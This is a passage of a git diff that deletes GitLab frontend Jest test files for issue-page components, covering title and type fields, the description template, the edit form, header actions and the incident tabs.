index dc126c53f5e..00000000000
--- a/spec/frontend/issue_show/components/fields/description_template_spec.js
+++ /dev/null
@@ -1,74 +0,0 @@
-import Vue from 'vue';
-import descriptionTemplate from '~/issue_show/components/fields/description_template.vue';
-
-describe('Issue description template component with templates as hash', () => {
- let vm;
- let formState;
-
- beforeEach(() => {
- const Component = Vue.extend(descriptionTemplate);
- formState = {
- description: 'test',
- };
-
- vm = new Component({
- propsData: {
- formState,
- issuableTemplates: {
- test: [{ name: 'test', id: 'test', project_path: '/', namespace_path: '/' }],
- },
- projectId: 1,
- projectPath: '/',
- namespacePath: '/',
- projectNamespace: '/',
- },
- }).$mount();
- });
-
- it('renders templates as JSON hash in data attribute', () => {
- expect(vm.$el.querySelector('.js-issuable-selector').getAttribute('data-data')).toBe(
- '{"test":[{"name":"test","id":"test","project_path":"/","namespace_path":"/"}]}',
- );
- });
-
- it('updates formState when changing template', () => {
- vm.issuableTemplate.editor.setValue('test new template');
-
- expect(formState.description).toBe('test new template');
- });
-
- it('returns formState description with editor getValue', () => {
- formState.description = 'testing new template';
-
- expect(vm.issuableTemplate.editor.getValue()).toBe('testing new template');
- });
-});
-
-describe('Issue description template component with templates as array', () => {
- let vm;
- let formState;
-
- beforeEach(() => {
- const Component = Vue.extend(descriptionTemplate);
- formState = {
- description: 'test',
- };
-
- vm = new Component({
- propsData: {
- formState,
- issuableTemplates: [{ name: 'test', id: 'test', project_path: '/', namespace_path: '/' }],
- projectId: 1,
- projectPath: '/',
- namespacePath: '/',
- projectNamespace: '/',
- },
- }).$mount();
- });
-
- it('renders templates as JSON array in data attribute', () => {
- expect(vm.$el.querySelector('.js-issuable-selector').getAttribute('data-data')).toBe(
- '[{"name":"test","id":"test","project_path":"/","namespace_path":"/"}]',
- );
- });
-});
diff --git a/spec/frontend/issue_show/components/fields/title_spec.js b/spec/frontend/issue_show/components/fields/title_spec.js
deleted file mode 100644
index 783ce9eb76c..00000000000
--- a/spec/frontend/issue_show/components/fields/title_spec.js
+++ /dev/null
@@ -1,42 +0,0 @@
-import { shallowMount } from '@vue/test-utils';
-import TitleField from '~/issue_show/components/fields/title.vue';
-import eventHub from '~/issue_show/event_hub';
-
-describe('Title field component', () => {
- let wrapper;
-
- const findInput = () => wrapper.find({ ref: 'input' });
-
- beforeEach(() => {
- jest.spyOn(eventHub, '$emit');
-
- wrapper = shallowMount(TitleField, {
- propsData: {
- formState: {
- title: 'test',
- },
- },
- });
- });
-
- afterEach(() => {
- wrapper.destroy();
- wrapper = null;
- });
-
- it('renders form control with formState title', () => {
- expect(findInput().element.value).toBe('test');
- });
-
- it('triggers update with meta+enter', () => {
- findInput().trigger('keydown.enter', { metaKey: true });
-
- expect(eventHub.$emit).toHaveBeenCalledWith('update.issuable');
- });
-
- it('triggers update with ctrl+enter', () => {
- findInput().trigger('keydown.enter', { ctrlKey: true });
-
- expect(eventHub.$emit).toHaveBeenCalledWith('update.issuable');
- });
-});
diff --git a/spec/frontend/issue_show/components/fields/type_spec.js b/spec/frontend/issue_show/components/fields/type_spec.js
deleted file mode 100644
index 95ae6f37877..00000000000
--- a/spec/frontend/issue_show/components/fields/type_spec.js
+++ /dev/null
@@ -1,120 +0,0 @@
-import { GlFormGroup, GlDropdown, GlDropdownItem, GlIcon } from '@gitlab/ui';
-import { shallowMount, createLocalVue } from '@vue/test-utils';
-import VueApollo from 'vue-apollo';
-import createMockApollo from 'helpers/mock_apollo_helper';
-import waitForPromises from 'helpers/wait_for_promises';
-import IssueTypeField, { i18n } from '~/issue_show/components/fields/type.vue';
-import { IssuableTypes } from '~/issue_show/constants';
-import {
- getIssueStateQueryResponse,
- updateIssueStateQueryResponse,
-} from '../../mock_data/apollo_mock';
-
-const localVue = createLocalVue();
-localVue.use(VueApollo);
-
-describe('Issue type field component', () => {
- let wrapper;
- let fakeApollo;
- let mockIssueStateData;
-
- const mockResolvers = {
- Query: {
- issueState() {
- return {
- __typename: 'IssueState',
- rawData: mockIssueStateData(),
- };
- },
- },
- Mutation: {
- updateIssueState: jest.fn().mockResolvedValue(updateIssueStateQueryResponse),
- },
- };
-
- const findTypeFromGroup = () => wrapper.findComponent(GlFormGroup);
- const findTypeFromDropDown = () => wrapper.findComponent(GlDropdown);
- const findTypeFromDropDownItems = () => wrapper.findAllComponents(GlDropdownItem);
- const findTypeFromDropDownItemAt = (at) => findTypeFromDropDownItems().at(at);
- const findTypeFromDropDownItemIconAt = (at) =>
- findTypeFromDropDownItems().at(at).findComponent(GlIcon);
-
- const createComponent = ({ data } = {}, provide) => {
- fakeApollo = createMockApollo([], mockResolvers);
-
- wrapper = shallowMount(IssueTypeField, {
- localVue,
- apolloProvider: fakeApollo,
- data() {
- return {
- issueState: {},
- ...data,
- };
- },
- provide: {
- canCreateIncident: true,
- ...provide,
- },
- });
- };
-
- beforeEach(() => {
- mockIssueStateData = jest.fn();
- createComponent();
- });
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- it.each`
- at | text | icon
- ${0} | ${IssuableTypes[0].text} | ${IssuableTypes[0].icon}
- ${1} | ${IssuableTypes[1].text} | ${IssuableTypes[1].icon}
- `(`renders the issue type $text with an icon in the dropdown`, ({ at, text, icon }) => {
- expect(findTypeFromDropDownItemIconAt(at).attributes('name')).toBe(icon);
- expect(findTypeFromDropDownItemAt(at).text()).toBe(text);
- });
-
- it('renders a form group with the correct label', () => {
- expect(findTypeFromGroup().attributes('label')).toBe(i18n.label);
- });
-
- it('renders a form select with the `issue_type` value', () => {
- expect(findTypeFromDropDown().attributes('value')).toBe(IssuableTypes.issue);
- });
-
- describe('with Apollo cache mock', () => {
- it('renders the selected issueType', async () => {
- mockIssueStateData.mockResolvedValue(getIssueStateQueryResponse);
- await waitForPromises();
- expect(findTypeFromDropDown().attributes('value')).toBe(IssuableTypes.issue);
- });
-
- it('updates the `issue_type` in the apollo cache when the value is changed', async () => {
- findTypeFromDropDownItems().at(1).vm.$emit('click', IssuableTypes.incident);
- await wrapper.vm.$nextTick();
- expect(findTypeFromDropDown().attributes('value')).toBe(IssuableTypes.incident);
- });
-
- describe('when user is a guest', () => {
- it('hides the incident type from the dropdown', async () => {
- createComponent({}, { canCreateIncident: false, issueType: 'issue' });
- await waitForPromises();
-
- expect(findTypeFromDropDownItemAt(0).isVisible()).toBe(true);
- expect(findTypeFromDropDownItemAt(1).isVisible()).toBe(false);
- expect(findTypeFromDropDown().attributes('value')).toBe(IssuableTypes.issue);
- });
-
- it('and incident is selected, includes incident in the dropdown', async () => {
- createComponent({}, { canCreateIncident: false, issueType: 'incident' });
- await waitForPromises();
-
- expect(findTypeFromDropDownItemAt(0).isVisible()).toBe(true);
- expect(findTypeFromDropDownItemAt(1).isVisible()).toBe(true);
- expect(findTypeFromDropDown().attributes('value')).toBe(IssuableTypes.incident);
- });
- });
- });
-});
diff --git a/spec/frontend/issue_show/components/form_spec.js b/spec/frontend/issue_show/components/form_spec.js
deleted file mode 100644
index 28498cb90ec..00000000000
--- a/spec/frontend/issue_show/components/form_spec.js
+++ /dev/null
@@ -1,155 +0,0 @@
-import { GlAlert } from '@gitlab/ui';
-import { shallowMount } from '@vue/test-utils';
-import Autosave from '~/autosave';
-import DescriptionTemplate from '~/issue_show/components/fields/description_template.vue';
-import IssueTypeField from '~/issue_show/components/fields/type.vue';
-import formComponent from '~/issue_show/components/form.vue';
-import LockedWarning from '~/issue_show/components/locked_warning.vue';
-import eventHub from '~/issue_show/event_hub';
-
-jest.mock('~/autosave');
-
-describe('Inline edit form component', () => {
- let wrapper;
- const defaultProps = {
- canDestroy: true,
- formState: {
- title: 'b',
- description: 'a',
- lockedWarningVisible: false,
- },
- issuableType: 'issue',
- markdownPreviewPath: '/',
- markdownDocsPath: '/',
- projectPath: '/',
- projectId: 1,
- projectNamespace: '/',
- };
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- const createComponent = (props) => {
- wrapper = shallowMount(formComponent, {
- propsData: {
- ...defaultProps,
- ...props,
- },
- });
- };
-
- const findDescriptionTemplate = () => wrapper.findComponent(DescriptionTemplate);
- const findIssuableTypeField = () => wrapper.findComponent(IssueTypeField);
- const findLockedWarning = () => wrapper.findComponent(LockedWarning);
- const findAlert = () => wrapper.findComponent(GlAlert);
-
- it('does not render template selector if no templates exist', () => {
- createComponent();
-
- expect(findDescriptionTemplate().exists()).toBe(false);
- });
-
- it('renders template selector when templates as array exists', () => {
- createComponent({
- issuableTemplates: [
- { name: 'test', id: 'test', project_path: 'test', namespace_path: 'test' },
- ],
- });
-
- expect(findDescriptionTemplate().exists()).toBe(true);
- });
-
- it('renders template selector when templates as hash exists', () => {
- createComponent({
- issuableTemplates: {
- test: [{ name: 'test', id: 'test', project_path: 'test', namespace_path: 'test' }],
- },
- });
-
- expect(findDescriptionTemplate().exists()).toBe(true);
- });
-
- it.each`
- issuableType | value
- ${'issue'} | ${true}
- ${'epic'} | ${false}
- `(
- 'when `issue_type` is set to "$issuableType" rendering the type select will be "$value"',
- ({ issuableType, value }) => {
- createComponent({
- issuableType,
- });
-
- expect(findIssuableTypeField().exists()).toBe(value);
- },
- );
-
- it('hides locked warning by default', () => {
- createComponent();
-
- expect(findLockedWarning().exists()).toBe(false);
- });
-
- it('shows locked warning if formState is different', () => {
- createComponent({ formState: { ...defaultProps.formState, lockedWarningVisible: true } });
-
- expect(findLockedWarning().exists()).toBe(true);
- });
-
- it('hides locked warning when currently saving', () => {
- createComponent({
- formState: { ...defaultProps.formState, updateLoading: true, lockedWarningVisible: true },
- });
-
- expect(findLockedWarning().exists()).toBe(false);
- });
-
- describe('autosave', () => {
- let spy;
-
- beforeEach(() => {
- spy = jest.spyOn(Autosave.prototype, 'reset');
- });
-
- it('initialized Autosave on mount', () => {
- createComponent();
-
- expect(Autosave).toHaveBeenCalledTimes(2);
- });
-
- it('calls reset on autosave when eventHub emits appropriate events', () => {
- createComponent();
-
- eventHub.$emit('close.form');
-
- expect(spy).toHaveBeenCalledTimes(2);
-
- eventHub.$emit('delete.issuable');
-
- expect(spy).toHaveBeenCalledTimes(4);
-
- eventHub.$emit('update.issuable');
-
- expect(spy).toHaveBeenCalledTimes(6);
- });
-
- describe('outdated description', () => {
- it('does not show warning if lock version from server is the same as the local lock version', () => {
- createComponent();
- expect(findAlert().exists()).toBe(false);
- });
-
- it('shows warning if lock version from server differs than the local lock version', async () => {
- Autosave.prototype.getSavedLockVersion.mockResolvedValue('lock version from local storage');
-
- createComponent({
- formState: { ...defaultProps.formState, lock_version: 'lock version from server' },
- });
-
- await wrapper.vm.$nextTick();
- expect(findAlert().exists()).toBe(true);
- });
- });
- });
-});
diff --git a/spec/frontend/issue_show/components/header_actions_spec.js b/spec/frontend/issue_show/components/header_actions_spec.js
deleted file mode 100644
index 4df62ec8717..00000000000
--- a/spec/frontend/issue_show/components/header_actions_spec.js
+++ /dev/null
@@ -1,348 +0,0 @@
-import { GlButton, GlDropdown, GlDropdownItem, GlLink, GlModal } from '@gitlab/ui';
-import { createLocalVue, shallowMount } from '@vue/test-utils';
-import Vuex from 'vuex';
-import createFlash, { FLASH_TYPES } from '~/flash';
-import { IssuableType } from '~/issuable_show/constants';
-import HeaderActions from '~/issue_show/components/header_actions.vue';
-import { IssuableStatus, IssueStateEvent } from '~/issue_show/constants';
-import promoteToEpicMutation from '~/issue_show/queries/promote_to_epic.mutation.graphql';
-import * as urlUtility from '~/lib/utils/url_utility';
-import eventHub from '~/notes/event_hub';
-import createStore from '~/notes/stores';
-
-jest.mock('~/flash');
-
-describe('HeaderActions component', () => {
- let dispatchEventSpy;
- let mutateMock;
- let wrapper;
- let visitUrlSpy;
-
- const localVue = createLocalVue();
- localVue.use(Vuex);
- const store = createStore();
-
- const defaultProps = {
- canCreateIssue: true,
- canPromoteToEpic: true,
- canReopenIssue: true,
- canReportSpam: true,
- canUpdateIssue: true,
- iid: '32',
- isIssueAuthor: true,
- issueType: IssuableType.Issue,
- newIssuePath: 'gitlab-org/gitlab-test/-/issues/new',
- projectPath: 'gitlab-org/gitlab-test',
- reportAbusePath:
- '-/abuse_reports/new?ref_url=http%3A%2F%2Flocalhost%2Fgitlab-org%2Fgitlab-test%2F-%2Fissues%2F32&user_id=1',
- submitAsSpamPath: 'gitlab-org/gitlab-test/-/issues/32/submit_as_spam',
- };
-
- const updateIssueMutationResponse = { data: { updateIssue: { errors: [] } } };
-
- const promoteToEpicMutationResponse = {
- data: {
- promoteToEpic: {
- errors: [],
- epic: {
- webPath: '/groups/gitlab-org/-/epics/1',
- },
- },
- },
- };
-
- const promoteToEpicMutationErrorResponse = {
- data: {
- promoteToEpic: {
- errors: ['The issue has already been promoted to an epic.'],
- epic: {},
- },
- },
- };
-
- const findToggleIssueStateButton = () => wrapper.find(GlButton);
-
- const findDropdownAt = (index) => wrapper.findAll(GlDropdown).at(index);
-
- const findMobileDropdownItems = () => findDropdownAt(0).findAll(GlDropdownItem);
-
- const findDesktopDropdownItems = () => findDropdownAt(1).findAll(GlDropdownItem);
-
- const findModal = () => wrapper.find(GlModal);
-
- const findModalLinkAt = (index) => findModal().findAll(GlLink).at(index);
-
- const mountComponent = ({
- props = {},
- issueState = IssuableStatus.Open,
- blockedByIssues = [],
- mutateResponse = {},
- } = {}) => {
- mutateMock = jest.fn().mockResolvedValue(mutateResponse);
-
- store.dispatch('setNoteableData', {
- blocked_by_issues: blockedByIssues,
- state: issueState,
- });
-
- return shallowMount(HeaderActions, {
- localVue,
- store,
- provide: {
- ...defaultProps,
- ...props,
- },
- mocks: {
- $apollo: {
- mutate: mutateMock,
- },
- },
- });
- };
-
- afterEach(() => {
- if (dispatchEventSpy) {
- dispatchEventSpy.mockRestore();
- }
- if (visitUrlSpy) {
- visitUrlSpy.mockRestore();
- }
- wrapper.destroy();
- });
-
- describe.each`
- issueType
- ${IssuableType.Issue}
- ${IssuableType.Incident}
- `('when issue type is $issueType', ({ issueType }) => {
- describe('close/reopen button', () => {
- describe.each`
- description | issueState | buttonText | newIssueState
- ${`when the ${issueType} is open`} | ${IssuableStatus.Open} | ${`Close ${issueType}`} | ${IssueStateEvent.Close}
- ${`when the ${issueType} is closed`} | ${IssuableStatus.Closed} | ${`Reopen ${issueType}`} | ${IssueStateEvent.Reopen}
- `('$description', ({ issueState, buttonText, newIssueState }) => {
- beforeEach(() => {
- dispatchEventSpy = jest.spyOn(document, 'dispatchEvent');
-
- wrapper = mountComponent({
- props: { issueType },
- issueState,
- mutateResponse: updateIssueMutationResponse,
- });
- });
-
- it(`has text "${buttonText}"`, () => {
- expect(findToggleIssueStateButton().text()).toBe(buttonText);
- });
-
- it('calls apollo mutation', () => {
- findToggleIssueStateButton().vm.$emit('click');
-
- expect(mutateMock).toHaveBeenCalledWith(
- expect.objectContaining({
- variables: {
- input: {
- iid: defaultProps.iid,
- projectPath: defaultProps.projectPath,
- stateEvent: newIssueState,
- },
- },
- }),
- );
- });
-
- it('dispatches a custom event to update the issue page', async () => {
- findToggleIssueStateButton().vm.$emit('click');
-
- await wrapper.vm.$nextTick();
-
- expect(dispatchEventSpy).toHaveBeenCalledTimes(1);
- });
- });
- });
-
- describe.each`
- description | isCloseIssueItemVisible | findDropdownItems
- ${'mobile dropdown'} | ${true} | ${findMobileDropdownItems}
- ${'desktop dropdown'} | ${false} | ${findDesktopDropdownItems}
- `('$description', ({ isCloseIssueItemVisible, findDropdownItems }) => {
- describe.each`
- description | itemText | isItemVisible | canUpdateIssue | canCreateIssue | isIssueAuthor | canReportSpam | canPromoteToEpic
- ${`when user can update ${issueType}`} | ${`Close ${issueType}`} | ${isCloseIssueItemVisible} | ${true} | ${true} | ${true} | ${true} | ${true}
- ${`when user cannot update ${issueType}`} | ${`Close ${issueType}`} | ${false} | ${false} | ${true} | ${true} | ${true} | ${true}
- ${`when user can create ${issueType}`} | ${`New ${issueType}`} | ${true} | ${true} | ${true} | ${true} | ${true} | ${true}
- ${`when user cannot create ${issueType}`} | ${`New ${issueType}`} | ${false} | ${true} | ${false} | ${true} | ${true} | ${true}
- ${'when user can promote to epic'} | ${'Promote to epic'} | ${true} | ${true} | ${true} | ${true} | ${true} | ${true}
- ${'when user cannot promote to epic'} | ${'Promote to epic'} | ${false} | ${true} | ${true} | ${true} | ${true} | ${false}
- ${'when user can report abuse'} | ${'Report abuse'} | ${true} | ${true} | ${true} | ${false} | ${true} | ${true}
- ${'when user cannot report abuse'} | ${'Report abuse'} | ${false} | ${true} | ${true} | ${true} | ${true} | ${true}
- ${'when user can submit as spam'} | ${'Submit as spam'} | ${true} | ${true} | ${true} | ${true} | ${true} | ${true}
- ${'when user cannot submit as spam'} | ${'Submit as spam'} | ${false} | ${true} | ${true} | ${true} | ${false} | ${true}
- `(
- '$description',
- ({
- itemText,
- isItemVisible,
- canUpdateIssue,
- canCreateIssue,
- isIssueAuthor,
- canReportSpam,
- canPromoteToEpic,
- }) => {
- beforeEach(() => {
- wrapper = mountComponent({
- props: {
- canUpdateIssue,
- canCreateIssue,
- isIssueAuthor,
- issueType,
- canReportSpam,
- canPromoteToEpic,
- },
- });
- });
-
- it(`${isItemVisible ? 'shows' : 'hides'} "${itemText}" item`, () => {
- expect(
- findDropdownItems()
- .filter((item) => item.text() === itemText)
- .exists(),
- ).toBe(isItemVisible);
- });
- },
- );
- });
- });
-
- describe('when "Promote to epic" button is clicked', () => {
- describe('when response is successful', () => {
- beforeEach(() => {
- visitUrlSpy = jest.spyOn(urlUtility, 'visitUrl').mockReturnValue({});
-
- wrapper = mountComponent({
- mutateResponse: promoteToEpicMutationResponse,
- });
-
- wrapper.find('[data-testid="promote-button"]').vm.$emit('click');
- });
-
- it('invokes GraphQL mutation when clicked', () => {
- expect(mutateMock).toHaveBeenCalledWith(
- expect.objectContaining({
- mutation: promoteToEpicMutation,
- variables: {
- input: {
- iid: defaultProps.iid,
- projectPath: defaultProps.projectPath,
- },
- },
- }),
- );
- });
-
- it('shows a success message and tells the user they are being redirected', () => {
- expect(createFlash).toHaveBeenCalledWith({
- message: 'The issue was successfully promoted to an epic. Redirecting to epic...',
- type: FLASH_TYPES.SUCCESS,
- });
- });
-
- it('redirects to newly created epic path', () => {
- expect(visitUrlSpy).toHaveBeenCalledWith(
- promoteToEpicMutationResponse.data.promoteToEpic.epic.webPath,
- );
- });
- });
-
- describe('when response contains errors', () => {
- beforeEach(() => {
- visitUrlSpy = jest.spyOn(urlUtility, 'visitUrl').mockReturnValue({});
-
- wrapper = mountComponent({
- mutateResponse: promoteToEpicMutationErrorResponse,
- });
-
- wrapper.find('[data-testid="promote-button"]').vm.$emit('click');
- });
-
- it('shows an error message', () => {
- expect(createFlash).toHaveBeenCalledWith({
- message: promoteToEpicMutationErrorResponse.data.promoteToEpic.errors.join('; '),
- });
- });
- });
- });
-
- describe('when `toggle.issuable.state` event is emitted', () => {
- it('invokes a method to toggle the issue state', () => {
- wrapper = mountComponent({ mutateResponse: updateIssueMutationResponse });
-
- eventHub.$emit('toggle.issuable.state');
-
- expect(mutateMock).toHaveBeenCalledWith(
- expect.objectContaining({
- variables: {
- input: {
- iid: defaultProps.iid,
- projectPath: defaultProps.projectPath,
- stateEvent: IssueStateEvent.Close,
- },
- },
- }),
- );
- });
- });
-
- describe('modal', () => {
- const blockedByIssues = [
- { iid: 13, web_url: 'gitlab-org/gitlab-test/-/issues/13' },
- { iid: 79, web_url: 'gitlab-org/gitlab-test/-/issues/79' },
- ];
-
- beforeEach(() => {
- wrapper = mountComponent({ blockedByIssues });
- });
-
- it('has title text', () => {
- expect(findModal().attributes('title')).toBe(
- 'Are you sure you want to close this blocked issue?',
- );
- });
-
- it('has body text', () => {
- expect(findModal().text()).toContain(
- 'This issue is currently blocked by the following issues:',
- );
- });
-
- it('calls apollo mutation when primary button is clicked', () => {
- findModal().vm.$emit('primary');
-
- expect(mutateMock).toHaveBeenCalledWith(
- expect.objectContaining({
- variables: {
- input: {
- iid: defaultProps.iid.toString(),
- projectPath: defaultProps.projectPath,
- stateEvent: IssueStateEvent.Close,
- },
- },
- }),
- );
- });
-
- describe.each`
- ordinal | index
- ${'first'} | ${0}
- ${'second'} | ${1}
- `('$ordinal blocked-by issue link', ({ index }) => {
- it('has link text', () => {
- expect(findModalLinkAt(index).text()).toBe(`#${blockedByIssues[index].iid}`);
- });
-
- it('has url', () => {
- expect(findModalLinkAt(index).attributes('href')).toBe(blockedByIssues[index].web_url);
- });
- });
- });
-});
diff --git a/spec/frontend/issue_show/components/incidents/highlight_bar_spec.js b/spec/frontend/issue_show/components/incidents/highlight_bar_spec.js
deleted file mode 100644
index 6758e6192b8..00000000000
--- a/spec/frontend/issue_show/components/incidents/highlight_bar_spec.js
+++ /dev/null
@@ -1,94 +0,0 @@
-import { GlLink } from '@gitlab/ui';
-import { shallowMount } from '@vue/test-utils';
-import merge from 'lodash/merge';
-import HighlightBar from '~/issue_show/components/incidents/highlight_bar.vue';
-import { formatDate } from '~/lib/utils/datetime_utility';
-
-jest.mock('~/lib/utils/datetime_utility');
-
-describe('Highlight Bar', () => {
- let wrapper;
-
- const alert = {
- iid: 1,
- startedAt: '2020-05-29T10:39:22Z',
- detailsUrl: 'http://127.0.0.1:3000/root/unique-alerts/-/alert_management/1/details',
- eventCount: 1,
- title: 'Alert 1',
- };
-
- const mountComponent = (options) => {
- wrapper = shallowMount(
- HighlightBar,
- merge(
- {
- propsData: { alert },
- provide: { fullPath: 'test', iid: 1, slaFeatureAvailable: true },
- },
- options,
- ),
- );
- };
-
- beforeEach(() => {
- mountComponent();
- });
-
- afterEach(() => {
- if (wrapper) {
- wrapper.destroy();
- wrapper = null;
- }
- });
-
- const findLink = () => wrapper.find(GlLink);
-
- describe('empty state', () => {
- beforeEach(() => {
- mountComponent({ propsData: { alert: null } });
- });
-
- it('renders a empty component', () => {
- expect(wrapper.isVisible()).toBe(false);
- });
- });
-
- describe('alert present', () => {
- beforeEach(() => {
- mountComponent();
- });
-
- it('renders a link to the alert page', () => {
- expect(findLink().exists()).toBe(true);
- expect(findLink().attributes('href')).toBe(alert.detailsUrl);
- expect(findLink().attributes('title')).toBe(alert.title);
- expect(findLink().text()).toBe(`#${alert.iid}`);
- });
-
- it('renders formatted start time of the alert', () => {
- const formattedDate = '2020-05-29 UTC';
- formatDate.mockReturnValueOnce(formattedDate);
- mountComponent();
- expect(formatDate).toHaveBeenCalledWith(alert.startedAt, 'yyyy-mm-dd Z');
- expect(wrapper.text()).toContain(formattedDate);
- });
-
- it('renders a number of alert events', () => {
- expect(wrapper.text()).toContain(alert.eventCount);
- });
- });
-
- describe('when child data is present', () => {
- beforeEach(() => {
- mountComponent({
- data() {
- return { hasChildData: true };
- },
- });
- });
-
- it('renders the highlight bar component', () => {
- expect(wrapper.isVisible()).toBe(true);
- });
- });
-});
diff --git a/spec/frontend/issue_show/components/incidents/incident_tabs_spec.js b/spec/frontend/issue_show/components/incidents/incident_tabs_spec.js
deleted file mode 100644
index 6b9f5b17e99..00000000000
--- a/spec/frontend/issue_show/components/incidents/incident_tabs_spec.js
+++ /dev/null
@@ -1,143 +0,0 @@
-import { GlTab } from '@gitlab/ui';
-import { shallowMount } from '@vue/test-utils';
-import merge from 'lodash/merge';
-import waitForPromises from 'helpers/wait_for_promises';
-import { trackIncidentDetailsViewsOptions } from '~/incidents/constants';
-import DescriptionComponent from '~/issue_show/components/description.vue';
-import HighlightBar from '~/issue_show/components/incidents/highlight_bar.vue';
-import IncidentTabs from '~/issue_show/components/incidents/incident_tabs.vue';
-import INVALID_URL from '~/lib/utils/invalid_url';
-import Tracking from '~/tracking';
-import AlertDetailsTable from '~/vue_shared/components/alert_details_table.vue';
-import { descriptionProps } from '../../mock_data/mock_data';
-
-const mockAlert = {
- __typename: 'AlertManagementAlert',
- detailsUrl: INVALID_URL,
- iid: '1',
-};
-
-describe('Incident Tabs component', () => {
- let wrapper;
-
- const mountComponent = (data = {}, options = {}) => {
- wrapper = shallowMount(
- IncidentTabs,
- merge(
- {
- propsData: {
- ...descriptionProps,
- },
- stubs: {
- DescriptionComponent: true,
- MetricsTab: true,
- },
- provide: {
- fullPath: '',
- iid: '',
- uploadMetricsFeatureAvailable: true,
- },
- data() {
- return { alert: mockAlert, ...data };
- },
- mocks: {
- $apollo: {
- queries: {
- alert: {
- loading: true,
- },
- },
- },
- },
- },
- options,
- ),
- );
- };
-
- const findTabs = () => wrapper.findAll(GlTab);
- const findSummaryTab = () => findTabs().at(0);
- const findMetricsTab = () => wrapper.find('[data-testid="metrics-tab"]');
- const findAlertDetailsTab = () => wrapper.find('[data-testid="alert-details-tab"]');
- const findAlertDetailsComponent = () => wrapper.find(AlertDetailsTable);
- const findDescriptionComponent = () => wrapper.find(DescriptionComponent);
- const findHighlightBarComponent = () => wrapper.find(HighlightBar);
-
- describe('empty state', () => {
- beforeEach(() => {
- mountComponent({ alert: null });
- });
-
- it('does not show the alert details tab', () => {
- expect(findAlertDetailsComponent().exists()).toBe(false);
- });
- });
-
- describe('with an alert present', () => {
- beforeEach(() => {
- mountComponent();
- });
-
- it('renders the summary tab', () => {
- expect(findSummaryTab().exists()).toBe(true);
- expect(findSummaryTab().attributes('title')).toBe('Summary');
- });
-
- it('renders the alert details tab', () => {
- expect(findAlertDetailsTab().exists()).toBe(true);
- expect(findAlertDetailsTab().attributes('title')).toBe('Alert details');
- });
-
- it('renders the alert details table with the correct props', () => {
- const alert = { iid: mockAlert.iid };
-
- expect(findAlertDetailsComponent().props('alert')).toMatchObject(alert);
- expect(findAlertDetailsComponent().props('loading')).toBe(true);
- });
-
- it('renders the description component with highlight bar', () => {
- expect(findDescriptionComponent().exists()).toBe(true);
- expect(findHighlightBarComponent().exists()).toBe(true);
- });
-
- it('renders the highlight bar component with the correct props', () => {
- const alert = { detailsUrl: mockAlert.detailsUrl };
-
- expect(findHighlightBarComponent().props('alert')).toMatchObject(alert);
- });
-
- it('passes all props to the description component', () => {
- expect(findDescriptionComponent().props()).toMatchObject(descriptionProps);
- });
- });
-
- describe('upload metrics feature available', () => {
- it('shows the metric tab when metrics are available', async () => {
- mountComponent({}, { provide: { uploadMetricsFeatureAvailable: true } });
-
- await waitForPromises();
-
- expect(findMetricsTab().exists()).toBe(true);
- });
-
- it('hides the tab when metrics are not available', async () => {
- mountComponent({}, { provide: { uploadMetricsFeatureAvailable: false } });
-
- await waitForPromises();
-
- expect(findMetricsTab().exists()).toBe(false);
- });
- });
-
- describe('Snowplow tracking', () => {
- beforeEach(() => {
- jest.spyOn(Tracking, 'event');
- mountComponent();
- });
-
- it('should track incident details views', () => {
- const { category, action } = trackIncidentDetailsViewsOptions;
- expect(Tracking.event).toHaveBeenCalledWith(category, action);
- });
- });
-});
diff --git a/spec/frontend/issue_show/components/pinned_links_spec.js b/spec/frontend/issue_show/components/pinned_links_spec.js
deleted file mode 100644
index 3fe1f9fd6d9..00000000000
--- a/spec/frontend/issue_show/components/pinned_links_spec.js
+++ /dev/null
@@ -1,48 +0,0 @@
-import { GlButton } from '@gitlab/ui';
-import { shallowMount } from '@vue/test-utils';
-import PinnedLinks from '~/issue_show/components/pinned_links.vue';
-import { STATUS_PAGE_PUBLISHED, JOIN_ZOOM_MEETING } from '~/issue_show/constants';
-
-const plainZoomUrl = 'https://zoom.us/j/123456789';
-const plainStatusUrl = 'https://status.com';
-
-describe('PinnedLinks', () => {
- let wrapper;
-
- const findButtons = () => wrapper.findAll(GlButton);
-
- const createComponent = (props) => {
- wrapper = shallowMount(PinnedLinks, {
- propsData: {
- zoomMeetingUrl: '',
- publishedIncidentUrl: '',
- ...props,
- },
- });
- };
-
- it('displays Zoom link', () => {
- createComponent({
- zoomMeetingUrl: `<a href="${plainZoomUrl}">Zoom</a>`,
- });
-
- expect(findButtons().at(0).text()).toBe(JOIN_ZOOM_MEETING);
- });
-
- it('displays Status link', () => {
- createComponent({
- publishedIncidentUrl: `<a href="${plainStatusUrl}">Status</a>`,
- });
-
- expect(findButtons().at(0).text()).toBe(STATUS_PAGE_PUBLISHED);
- });
-
- it('does not render if there are no links', () => {
- createComponent({
- zoomMeetingUrl: '',
- publishedIncidentUrl: '',
- });
-
- expect(findButtons()).toHaveLength(0);
- });
-});
diff --git a/spec/frontend/issue_show/components/title_spec.js b/spec/frontend/issue_show/components/title_spec.js
deleted file mode 100644
index 78880a7f540..00000000000
--- a/spec/frontend/issue_show/components/title_spec.js
+++ /dev/null
@@ -1,95 +0,0 @@
-import Vue from 'vue';
-import titleComponent from '~/issue_show/components/title.vue';
-import eventHub from '~/issue_show/event_hub';
-import Store from '~/issue_show/stores';
-
-describe('Title component', () => {
- let vm;
- beforeEach(() => {
- setFixtures(`<title />`);
-
- const Component = Vue.extend(titleComponent);
- const store = new Store({
- titleHtml: '',
- descriptionHtml: '',
- issuableRef: '',
- });
- vm = new Component({
- propsData: {
- issuableRef: '#1',
- titleHtml: 'Testing <img />',
- titleText: 'Testing',
- showForm: false,
- formState: store.formState,
- },
- }).$mount();
- });
-
- it('renders title HTML', () => {
- expect(vm.$el.querySelector('.title').innerHTML.trim()).toBe('Testing <img>');
- });
-
- it('updates page title when changing titleHtml', () => {
- const spy = jest.spyOn(vm, 'setPageTitle');
- vm.titleHtml = 'test';
-
- return vm.$nextTick().then(() => {
- expect(spy).toHaveBeenCalled();
- });
- });
-
- it('animates title changes', () => {
- vm.titleHtml = 'test';
- return vm
- .$nextTick()
- .then(() => {
- expect(vm.$el.querySelector('.title').classList).toContain('issue-realtime-pre-pulse');
- jest.runAllTimers();
- return vm.$nextTick();
- })
- .then(() => {
- expect(vm.$el.querySelector('.title').classList).toContain('issue-realtime-trigger-pulse');
- });
- });
-
- it('updates page title after changing title', () => {
- vm.titleHtml = 'changed';
- vm.titleText = 'changed';
-
- return vm.$nextTick().then(() => {
